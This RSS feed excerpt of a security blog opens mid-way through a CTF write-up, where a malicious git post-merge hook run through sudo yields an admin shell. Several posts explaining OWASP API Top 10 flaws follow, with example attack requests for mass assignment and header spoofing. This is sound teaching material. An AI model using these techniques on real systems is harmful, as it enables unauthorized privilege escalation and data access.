&lt;p&gt;But when we execute &lt;code&gt;sudo -l&lt;/code&gt;, it returns that we have permission to execute &lt;code&gt;su level1&lt;/code&gt; and impersonate level1 without knowing its password, so we just execute:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo su level1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And now we can go to &lt;code&gt;/home/level1&lt;/code&gt; and get the third flag, which is in &lt;code&gt;flag3.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  🐈 Flag 4
&lt;/h2&gt;

&lt;p&gt;Now that we are &lt;code&gt;level1&lt;/code&gt; and not &lt;code&gt;www-data&lt;/code&gt;, when we execute &lt;code&gt;sudo -l&lt;/code&gt; again, it will show the following content:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjaw8qdn8f2dl5bck6q0j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjaw8qdn8f2dl5bck6q0j.png" alt="right to execute git pull as the admin user"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This means that we can use &lt;code&gt;git pull&lt;/code&gt; as the admin, using the sudo command like &lt;code&gt;sudo -u admin git pull&lt;/code&gt;, and that's when writing a git hook might help us!&lt;/p&gt;

&lt;p&gt;In order to do so, just go to the &lt;code&gt;/tmp&lt;/code&gt; directory and clone any public git repository, such as &lt;a href="https://github.com/public-apis/public-apis" rel="noopener noreferrer"&gt;public-apis/public-apis&lt;/a&gt;, using &lt;code&gt;git clone&lt;/code&gt;. After that, access the new repository directory and make it go "back in time" by one commit, using the following command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;git reset --hard HEAD^1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The idea is to execute &lt;code&gt;git pull&lt;/code&gt; for updating the repository again, while we get an admin shell. So we can create a &lt;code&gt;post-merge&lt;/code&gt; file in the &lt;code&gt;.git/hooks&lt;/code&gt; directory using nano (apparently vi is not installed, because nano is better 😲), and also add to it the following script:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;#!/bin/bash&lt;/p&gt;

&lt;p&gt;exec /bin/bash 0&amp;lt;&amp;amp;2 1&amp;gt;&amp;amp;2&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This should, at least in theory, spawn an admin shell after git pull does what it needs to do. But when we try to execute &lt;code&gt;sudo -u admin git pull&lt;/code&gt; in the repository root directory, the following error message appears:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdgjz18lrxxz1fvfz0z7t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdgjz18lrxxz1fvfz0z7t.png" alt="permission denied"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we look at the permissions inside of the directory with something like &lt;code&gt;ls -la&lt;/code&gt;, we are going to see that other users don't have write permissions inside of the repository, just &lt;code&gt;level1&lt;/code&gt; itself. In this case, a command like &lt;code&gt;chmod -R 757 /tmp/your_repository&lt;/code&gt; does the trick.&lt;/p&gt;

&lt;p&gt;Now trying to execute git pull as the admin again, boom! In the end of the process, we are going to have an admin session, and we can go to &lt;code&gt;/home/admin&lt;/code&gt; and get the final flag :D&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fafgaobs0p4os93qiv4xs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fafgaobs0p4os93qiv4xs.png" alt="admin session"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>API9:2019 - Improper Assets Management</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sat, 05 Mar 2022 21:29:30 +0000</pubDate>
      <link>https://dev.to/therealbrenu/api92019-improper-assets-management-j3l</link>
      <guid>https://dev.to/therealbrenu/api92019-improper-assets-management-j3l</guid>
      <description>&lt;p&gt;Hi everyone! Hope y'all are having an amazing day 🤗&lt;/p&gt;

&lt;p&gt;Today, we are going to be talking about API9:2019, or Improper Assets Management. Hope you guys like it and take something useful from it!&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Getting to Know The Problem
&lt;/h2&gt;

&lt;p&gt;Do you guys remember of &lt;a href="https://dev.to/therealbrenu/api12019-broken-object-level-authorization-17ba"&gt;the first post of the series&lt;/a&gt;? In that blog, we were talking about BOLA, and I mentioned as an example that broken object level authorization might still be found in older API versions if it's not present in newer ones. This might be considered a case of API9:2019 leading to API1:2019, depending on the root cause of the issue. Let me tell you why. 😊&lt;/p&gt;

&lt;p&gt;We all know that documentation is important, for several reasons. When it comes to securing APIs, in special, it does help to identify problems such as access control issues and outdated environments.&lt;/p&gt;

&lt;p&gt;API9:2019 happens when a company doesn't give the necessary attention to documenting its assets and maintaining properly their inventory, or even when this company doesn't document anything at all 🤭.&lt;/p&gt;

&lt;p&gt;As a result, we may have important security fixes not being applied to all the different environments (prod, dev, test...). Also, we may have some environments being "abandoned" with full functionality (including access to the production database) in older versions, which could make all the efforts into securing the other different environments practically null.&lt;/p&gt;

&lt;h2&gt;
  
  
  📝 Example
&lt;/h2&gt;

&lt;p&gt;Two different instances of the same API are created, with the URLs &lt;code&gt;api.example.com&lt;/code&gt; and &lt;code&gt;dev-api.example.com&lt;/code&gt;. The second one was made in order to test functions that are still not ready for production, but after a few months, it stopped being used because the company decided that it would be better for the developers to test locally in their own machines. However, because it is relatively cheap to keep an API with no accesses running in a cloud service, it was never shut down.&lt;/p&gt;

&lt;p&gt;Later, an endpoint was discovered in the main API, which let any authenticated user to have access to all of the users' PII just by doing the following request:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;GET /admin/users/index HTTP/1.1&lt;br&gt;
Host: api.example.com&lt;br&gt;
Authorization: Bearer sup3r_n1c3_t0k3n&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After someone discovered the issue and reported it, this issue was fixed in just a few hours. But this endpoint existed since the initial release of the API, and remember that &lt;code&gt;dev-api.example.com&lt;/code&gt; is still up and running with no fixes at all.&lt;/p&gt;

&lt;p&gt;This means that whenever someone try to do the same request but pointing to the abandoned API instead of the well-maintained one, the PII leakage will still be there! 😲&lt;/p&gt;

&lt;h2&gt;
  
  
  📚 External materials
&lt;/h2&gt;

&lt;p&gt;As my goal with this series is to just explain what each flaw is, I would like to suggest what I used to learn more about this issue, so you guys get better the details of it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa9-improper-assets-management.md"&gt;https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa9-improper-assets-management.md&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://salt.security/blog/api9-2019-improper-assets-management"&gt;https://salt.security/blog/api9-2019-improper-assets-management&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://apisecurity.io/encyclopedia/content/owasp/api9-improper-assets-management.htm"&gt;https://apisecurity.io/encyclopedia/content/owasp/api9-improper-assets-management.htm&lt;/a&gt;&lt;/p&gt;

</description>
      <category>api</category>
      <category>security</category>
      <category>owasp</category>
      <category>hacking</category>
    </item>
    <item>
      <title>API8:2019 - Injection</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sat, 26 Feb 2022 22:48:30 +0000</pubDate>
      <link>https://dev.to/therealbrenu/api82019-injection-31c3</link>
      <guid>https://dev.to/therealbrenu/api82019-injection-31c3</guid>
      <description>&lt;p&gt;Well, well, well, what have we here? 🧐&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ACjOh_eo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2xijjsbgaxmw6tdq2m9w.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ACjOh_eo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2xijjsbgaxmw6tdq2m9w.gif" alt="The oogie boogie" width="500" height="271"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Injection, huh? Okay then. So that's what we are going to be talking about!&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Looking at the Docs
&lt;/h2&gt;

&lt;p&gt;We may say that dealing with user-controllable inputs is, essentially, part of what every single API does. Because of that, the documentation of libs/frameworks can have some notes like the following ones:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://guides.rubyonrails.org/security.html#intranet-and-admin-security"&gt;Rails&lt;/a&gt; =&amp;gt; &lt;code&gt;Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://expressjs.com/en/5x/api.html#req"&gt;Express&lt;/a&gt; =&amp;gt; &lt;code&gt;As req.body’s shape is based on user-controlled input, all properties and values in this object are untrusted and should be validated before trusting. For example, req.body.foo.toString() may fail in multiple ways, for example foo may not be there or may not be a string, and toString may not be a function and instead a string or other user-input.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://docs.djangoproject.com/en/4.0/topics/security/"&gt;Django&lt;/a&gt; =&amp;gt; &lt;code&gt;Django also gives developers power to write raw queries or execute custom sql. These capabilities should be used sparingly and you should always be careful to properly escape any parameters that the user can control. In addition, you should exercise caution when using extra() and RawSQL.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;All this worry is because when we pick up any random input and use it in an application workflow without previous verification, anything can happen! 😱&lt;/p&gt;

&lt;h2&gt;
  
  
  💉 Example 1 - CVE-2021-44228
&lt;/h2&gt;

&lt;p&gt;Surely y'all already know about Log4Shell, and it is a perfect example of what an injection can result in. Log4j 2, by default, performed string substitutions in its logs in order to execute expressions.&lt;/p&gt;

&lt;p&gt;Because HTTP requests tend to be in logs, payloads containing JNDI lookups in the URL or in HTTP headers such as User-Agent could be being used in order to retrieve sensitive data or even get RCEs. 😲&lt;/p&gt;

&lt;h2&gt;
  
  
  💉 Example 2 - Insecure Deserialization
&lt;/h2&gt;

&lt;p&gt;Also known as &lt;strong&gt;Object Injection&lt;/strong&gt;, this one is a great example too!&lt;/p&gt;

&lt;p&gt;Some APIs have converting complex data structures to specific formats (binary or string ones) and vice versa as part of how they do their job. These processes are called serialization and deserialization.&lt;/p&gt;

&lt;p&gt;When these APIs do the deserialization process without previous checks, even if the deserialized object won't have a use at all, there's always a chance of bad things happening. For example, prototype pollution can be the result of an insecure deserialization implementation!&lt;/p&gt;

&lt;h2&gt;
  
  
  📚 External materials
&lt;/h2&gt;

&lt;p&gt;As my goal with this series is to just explain what each flaw is, I would like to suggest what I used to learn more about injections, so you guys get better the details of it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa8-injection.md"&gt;https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa8-injection.md&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.wallarm.com/what/api8-injection"&gt;https://www.wallarm.com/what/api8-injection&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://apisecurity.io/encyclopedia/content/owasp/api8-injection.htm"&gt;https://apisecurity.io/encyclopedia/content/owasp/api8-injection.htm&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cwe.mitre.org/data/definitions/77.html"&gt;https://cwe.mitre.org/data/definitions/77.html&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>hacking</category>
      <category>api</category>
      <category>owasp</category>
    </item>
    <item>
      <title>API7:2019 - Security Misconfiguration</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sat, 19 Feb 2022 23:49:35 +0000</pubDate>
      <link>https://dev.to/therealbrenu/api72019-security-misconfiguration-4g1c</link>
      <guid>https://dev.to/therealbrenu/api72019-security-misconfiguration-4g1c</guid>
      <description>&lt;p&gt;Hello there, friends! 🤗&lt;/p&gt;

&lt;p&gt;Coming next to the end of our series, I'm gonna be writing about API7:2019. As it is a more wide-ranging concept when comparing to the previous API vulnerabilities, I'm gonna be using a little bit different approach for presenting today's topic.&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Definition
&lt;/h2&gt;

&lt;p&gt;When we access the official page of the &lt;a href="https://owasp.org/www-project-api-security/"&gt;OWASP API Security Project&lt;/a&gt;, and look at the definition of Security Misconfiguration, this is what we are going to see:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Security misconfiguration is commonly a result of unsecure default configurations, incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, unnecessary HTTP methods, permissive Cross-Origin resource sharing (CORS), and verbose error messages containing sensitive information.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;By reading it, we can assume that any configuration that's in an API and could help, in a sense, bad guys to perform attacks, may be considered a security misconfiguration. The possibilities are many!&lt;/p&gt;

&lt;h2&gt;
  
  
  ✏️ First Example
&lt;/h2&gt;

&lt;p&gt;Let's say that we have an endpoint called &lt;code&gt;/show-logs&lt;/code&gt; which is supposed to work only for requests that come from localhost:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;GET /show-logs HTTP/1.1&lt;br&gt;
Host: example.com&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And whenever we try to perform this request from anywhere else, it gives us the following response:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;HTTP/1.1 403 Forbidden&lt;br&gt;
Server: SuperCoolServer&lt;br&gt;
Content-Type:application/json&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
    "message": "You will never be able to see these logs because they're only available for localhost hahahah"&lt;br&gt;
}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It looks pretty intimidating, but if the API was configured in a way that it picks up HTTP headers such as &lt;code&gt;X-Forwarded-For&lt;/code&gt; for determining authorization, we have a little a problem here, because the client may just change the value of those headers to &lt;code&gt;localhost&lt;/code&gt; or &lt;code&gt;127.0.0.1&lt;/code&gt;, and they will be able to see whatever it's being hidden.&lt;/p&gt;

&lt;h2&gt;
  
  
  ✨ External Examples
&lt;/h2&gt;

&lt;p&gt;API7:2019 has a definition that can match with an extensive list of cases, and because of that, I would like to share some examples from different places rather than writing just an example.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://hdivsecurity.com/docs/security-misconfiguration/"&gt;HDIV&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa7-security-misconfiguration.md"&gt;OWASP API-Security repo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://infosecwriteups.com/from-aws-s3-misconfiguration-to-sensitive-data-exposure-784f37a30bf9"&gt;S3 Misconfigurations&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🚨 Attention!
&lt;/h2&gt;

&lt;p&gt;If you are looking for bugs in order to report them in bug bounty programs, don't just look if they "fit" in the security misconfiguration definition, because sometimes, a misconfiguration doesn't represent any harm to the company. Always pay attention to the context where you are inserted at, and go for impact! And avoid reporting things that are out of scope... 😅&lt;/p&gt;

&lt;p&gt;Thank you for taking your time, guys! 🤗&lt;/p&gt;

</description>
      <category>api</category>
      <category>cybersecurity</category>
      <category>owasp</category>
      <category>hacking</category>
    </item>
    <item>
      <title>API6:2019 - Mass Assignment</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Fri, 11 Feb 2022 20:18:14 +0000</pubDate>
      <link>https://dev.to/therealbrenu/api62019-mass-assignment-3b76</link>
      <guid>https://dev.to/therealbrenu/api62019-mass-assignment-3b76</guid>
      <description>&lt;p&gt;Hi everyone! Hope you are having an awesome day 🤗&lt;/p&gt;

&lt;p&gt;Today, I am going to be talking a little bit about Mass Assignment, which has a pretty straightforward concept in my opinion. API6:2019 is also one of my favorite issues when it comes to OWASP API Security TOP 10, so I hope you all like it!&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Just Some Background
&lt;/h2&gt;

&lt;p&gt;Let's say that we have an endpoint which is meant to be used in order to change your personal information, and this endpoint expects an HTTP request like the following one:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;PUT /users/info HTTP/1.1&lt;br&gt;
Host: api.example.com&lt;br&gt;
Authorization: Bearer sup3r_t0k3n_h3r3&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
    "firstName": "Naruto",&lt;br&gt;
    "lastName": "Uzumaki",&lt;br&gt;
    "email": "dattebayo＠mail.com",&lt;br&gt;
    "phoneNumber": "12345-6789",&lt;br&gt;
}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ideally, by looking at this request, we might assume that there is a mechanism in the API to filter what is coming and finally guarantee that only this specific user attributes are going to be changed, not anything else. A possible (and simplified) approach for that would be like this pseudo code:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;userData := request.get([&lt;br&gt;
    'firstName',&lt;br&gt;
    'lastName',&lt;br&gt;
    'email',&lt;br&gt;
    'phoneNumber'&lt;br&gt;
])&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;wasSucceeded, error := User::update(userData, userId)&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;return response(200,{success: true})&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  😱 Here's The Problem!
&lt;/h2&gt;

&lt;p&gt;Not rarely at all, API endpoints are built in generic ways, and very often we may find endpoint implementations that doesn't take into account the possibility of an user insert into the request some attributes that were not originally meant to be there. A great example would be if we changed a little bit the previous code, and made it be like this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;userData := request.getAll()&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;wasSucceeded, error := User::update(userData, userId)&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;return response(200,{success: true})&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now that it uses everything which is coming from the request in order to update the user, basically it's possible to change all the attributes that exist for the User entity, like for example, a hypothetical attribute called &lt;code&gt;ìsAdmin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If this attribute &lt;code&gt;isAdmin&lt;/code&gt; exists, and it's used to define an "user role", an attacker may abuse this flaw in order to make itself an admin with a simple HTTP request such as the one down below:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;PUT /users/info HTTP/1.1&lt;br&gt;
Host: api.example.com&lt;br&gt;
Authorization: Bearer sup3r_t0k3n_h3r3&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
    "isAdmin": true&lt;br&gt;
}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And there we have API6:2019! 🙈&lt;/p&gt;

&lt;p&gt;A similar case would the GraphQL example which I presented in the &lt;a href="https://dev.to/therealbrenu/api32019-excessive-data-exposure-4c4p"&gt;API3:2019 post&lt;/a&gt;. Technically, this case would not fit inside the Mass Assignment concept, because API6:2019 involves being able to store or modify data and not just see it, but the exploiting scenario is quite the same.&lt;/p&gt;

&lt;h2&gt;
  
  
  📚 External materials
&lt;/h2&gt;

&lt;p&gt;As my goal with this series is to just explain what each flaw is, I would like to suggest what I used to learn about API6:2019, so you understand better the details of it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md"&gt;https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://salt.security/blog/api6-2019-mass-assignment"&gt;https://salt.security/blog/api6-2019-mass-assignment&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>owasp</category>
      <category>api</category>
      <category>hacking</category>
    </item>
    <item>
      <title>API5:2019 - Broken Function Level Authorization</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Fri, 28 Jan 2022 05:08:37 +0000</pubDate>
      <link>https://dev.to/therealbrenu/api52019-broken-function-level-authorization-1jl0</link>
      <guid>https://dev.to/therealbrenu/api52019-broken-function-level-authorization-1jl0</guid>
      <description>&lt;p&gt;Hello guys! Hope you are having an amazing day 🤗&lt;/p&gt;

&lt;p&gt;Continuing our series, today we are going to talk a little bit about API5:2019, which is an authorization vulnerability just like &lt;a href="https://dev.to/therealbrenu/api12019-broken-object-level-authorization-17ba"&gt;API1:2019&lt;/a&gt;, but they happen in different cases and for different reasons.&lt;/p&gt;

&lt;p&gt;Hope you guys dig it!&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Just Some Background
&lt;/h2&gt;

&lt;p&gt;There are applications that need some functionalities to be only accessible to certain users. For example, if there's an endpoint that returns personal identifiable data about all the registered users, we may assume that only the administrators are supposed to be capable of using it.&lt;/p&gt;

&lt;p&gt;For this case, verifying for an user attribute &lt;code&gt;isAdmin&lt;/code&gt; might already do the trick, but some other applications, such as forums or school management systems tend to need more than that. Usually they need a whole set of access control policies that will be used to define, through the code of the entire API, whether a user is able to execute functions or not.&lt;/p&gt;

&lt;h2&gt;
  
  
  😋 Exemplifying The Problem
&lt;/h2&gt;

&lt;p&gt;Implementing complex access control policies, just like any other complex business logic rules, is actually very tricky because this process cannot be handled in a generic way, and every single endpoint of the API has to take this into account.&lt;/p&gt;

&lt;p&gt;Imagine an API where any route starting with &lt;code&gt;/admin&lt;/code&gt; can only be accessed by administrators. That's great, right?! But if there is any other route that is supposed to be accessible only for administrators, such as:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;DELETE /users/all HTTP/1.1&lt;br&gt;
Host: example.com&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This endpoint also needs to be considered by the access control policies, and very often, when it comes to cases like this, they are actually not taken into account!   😬&lt;/p&gt;

&lt;p&gt;This was the case of &lt;a href="https://huntr.dev/bounties/1f43f11e-4bd8-451f-a244-dc9541cdc0ac/"&gt;CVE-2021-3980&lt;/a&gt;. The application already had access control policies defining that only administrators would have access to the endpoints which start with &lt;code&gt;/admin&lt;/code&gt; and/or &lt;code&gt;/ajax/admin&lt;/code&gt;, but there was this endpoint which was starting with &lt;code&gt;/ajax/form/admin&lt;/code&gt; and it wasn't being considered by the access control policies at all. This simple "misconfiguration" made possible for every user (even unauthenticated ones) to get access to some private information related to the users of any social network created with the engine.&lt;/p&gt;

&lt;h2&gt;
  
  
  📔 External Materials
&lt;/h2&gt;

&lt;p&gt;As my goal with this series is to just explain what each flaw is while I'm learning about them all, I would like to suggest some materials about today's topic, so you understand better the details of it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa5-broken-function-level-authorization.md"&gt;https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa5-broken-function-level-authorization.md&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://salt.security/blog/api5-2019-broken-function-level-authorization"&gt;https://salt.security/blog/api5-2019-broken-function-level-authorization&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://apisecurity.io/encyclopedia/content/owasp/api5-broken-function-level-authorization.htm"&gt;https://apisecurity.io/encyclopedia/content/owasp/api5-broken-function-level-authorization.htm&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>hacking</category>
      <category>owasp</category>
      <category>api</category>
    </item>
    <item>
      <title>API4:2019 - Lack of Resources &amp; Rate Limiting</title>
      <dc:creator>Breno Vitório</dc:creator>
      <pubDate>Sun, 16 Jan 2022 14:47:30 +0000</pubDate>
      <link>https://dev.to/therealbrenu/api42019-lack-of-resources-rate-limiting-1pni</link>
      <guid>https://dev.to/therealbrenu/api42019-lack-of-resources-rate-limiting-1pni</guid>
      <description>&lt;p&gt;Hello guys! I'm already feeling a lack of creative resources when trying to introduce these posts 😋&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5Q0wdenZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wtny4ivl7qc2ikidtakd.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5Q0wdenZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wtny4ivl7qc2ikidtakd.gif" alt="Ba dum tss" width="444" height="258"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So let's talk about Lack of Resources &amp;amp; Rate Limiting!&lt;/p&gt;

&lt;h2&gt;
  
  
  🏞️ Getting to Know The Issue
&lt;/h2&gt;

&lt;p&gt;As you certainly know, APIs don't have unlimited power, and their behavior when attending requests during stressful situations depends on some different factors, such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Machine resources &lt;/li&gt;
&lt;li&gt;Concurrency handling implementation&lt;/li&gt;
&lt;li&gt;Complexity of the tasks which are being requested&lt;/li&gt;
&lt;li&gt;Code optimization&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When the application doesn't have enough restrictions for avoiding these stressful situations, bad guys may abuse them as a vector for getting unwanted behavior, like DoS. This lack of restrictions is what cause API4:2019.&lt;/p&gt;

&lt;h2&gt;
  
  
  📚 Some examples
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🚨 Example 1
&lt;/h3&gt;

&lt;p&gt;A library has an API in which an endpoint receives this request:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;GET /api/books?page=1&amp;amp;perPage=3 HTTP/1.1&lt;br&gt;
Host: &lt;a href="http://www.example.com"&gt;www.example.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And returns this response:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;HTTP/1.1 200 OK&lt;br&gt;
Content-Type: application/json&lt;/p&gt;

&lt;p&gt;[&lt;br&gt;
    {&lt;br&gt;
        "name": "Book nº1",&lt;br&gt;
        "author": "Unknown",&lt;br&gt;
        "synopsys": "Synopsys here...",&lt;br&gt;
        "pages": "590",&lt;br&gt;
    },&lt;br&gt;
    {&lt;br&gt;
        "name": "Book nº2",&lt;br&gt;
        "author": "Unknown",&lt;br&gt;
        "synopsys": "Synopsys 2 here...",&lt;br&gt;
        "pages": "320",&lt;br&gt;
    },&lt;br&gt;
    {&lt;br&gt;
        "name": "Book nº3",&lt;br&gt;
        "author": "Unknown",&lt;br&gt;
        "synopsys": "Synopsys 3 here...",&lt;br&gt;
        "pages": "480",&lt;br&gt;
    }&lt;br&gt;
]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Notice that it returns 3 books per page, because of the &lt;code&gt;perPage&lt;/code&gt; query parameter which is on the URL. In this case, API4:2019 happens if there is no mechanism for limiting the value which may be passed to the &lt;code&gt;perPage&lt;/code&gt; parameter, because it would make possible for bad guys to retrieve basically the entire books table with just one request. 😲&lt;/p&gt;

&lt;p&gt;Abusing it would cause performance issues on the API, or even could make it completely unresponsive in some more specific cases. 😱&lt;/p&gt;

&lt;h3&gt;
  
  
  🏋️ Example 2
&lt;/h3&gt;

&lt;p&gt;There's an API which receives pictures in order to perform an image processing of contrast adjustment, and after that return the equalized picture.&lt;/p&gt;

&lt;p&gt;Although the histogram equalization is not something hard for a computer to do, it still takes some effort when we are working with bigger pictures.&lt;/p&gt;

&lt;p&gt;In this scenario, API4:2019 may happen if the API has no method for limiting the size of the images you are uploading. Because it would make possible for bad guys to upload pictures of gigabytes, and it has potential to even crash the server, depending on some other variables.&lt;/p&gt;

&lt;h2&gt;
  
  
  📖 External materials
&lt;/h2&gt;

&lt;p&gt;As my goal with this series is to just explain what each flaw is while I'm learning about them all, I would like to suggest some materials about lack of resources and rate limiting, so you understand better the details of it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa4-lack-of-resources-and-rate-limiting.md"&gt;https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa4-lack-of-resources-and-rate-limiting.md&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://salt.security/blog/api4-2019-lack-of-resources-rate-limiting"&gt;https://salt.security/blog/api4-2019-lack-of-resources-rate-limiting&lt;/a&gt;&lt;/p&gt;

